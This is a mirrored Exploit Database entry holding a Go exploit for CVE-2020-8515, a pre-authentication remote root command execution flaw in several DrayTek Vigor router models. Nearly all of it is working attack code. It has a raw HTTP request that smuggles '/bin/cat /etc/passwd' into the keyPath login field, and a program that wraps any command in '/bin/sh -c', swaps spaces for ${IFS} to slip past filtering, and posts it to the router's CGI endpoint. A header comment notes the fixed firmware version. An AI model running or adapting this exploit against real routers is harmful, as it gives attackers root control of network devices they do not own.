Multiple DrayTek Products – Pre-authentication Remote Root Code Execution

• Exploit Database
• 21 阅读

• 作者： 0xsha
  日期： 2020-03-30
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/48268/

• package main
  
  
  /*
  CVE-2020-8515: DrayTek pre-auth remote root RCE
  Mon Mar 30 2020 -0xsha.io
  Affected:
  DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,
  and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,
  and 1.4.4_Beta
  You should upgrade as soon as possible to 1.5.1 firmware or later
  This issue has been fixed in Vigor3900/2960/300B v1.5.1.
  read more :
  https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
  https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
  https://thehackernews.com/2020/03/draytek-network-hacking.html
  https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
  exploiting using keyPath
  POST /cgi-bin/mainfunction.cgi HTTP/1.1
  Host: 1.2.3.4
  Content-Length: 89
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Connection: close
  action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
   */
  
  import (
  	"fmt"
  	"io/ioutil"
  	"net/http"
  	"net/url"
  	"os"
  	"strings"
  )
  
  func usage(){
  
  	fmt.Println("CVE-2020-8515 exploit by@0xsha ")
  	fmt.Println("Usage :" + os.Args[0] + " URL " + "command")
  	fmt.Println("E.G :" + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\"")
  }
  
  func main() {
  
  
  	if len(os.Args) < 3 {
  		usage()
  		os.Exit(-1)
  	}
  
  	targetUrl := os.Args[1]
  	//cmd := "cat /etc/passwd"
  	cmd := os.Args[2]
  
  
  	// payload preparation
  	vulnerableFile := "/cgi-bin/mainfunction.cgi"
  	// specially crafted CMD
  	// action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
  	payload :=`'
  	/bin/sh -c 'CMD'
  	'`
  	payload = strings.ReplaceAll(payload,"CMD", cmd)
  	bypass := strings.ReplaceAll(payload," ", "${IFS}")
  
  	//PostForm call url encoder internally
  	resp, err := http.PostForm(targetUrl+vulnerableFile ,
  		url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"} })
  
  	if err != nil{
  		fmt.Println("error connecting host")
  		os.Exit(-1)
  	}
  
  
  	defer resp.Body.Close()
  	body, err := ioutil.ReadAll(resp.Body)
  	
  	if err != nil{
  		fmt.Println("error reading data")
  		os.Exit(-1)
  	}
  	
  	fmt.Println(string(body))
  
  }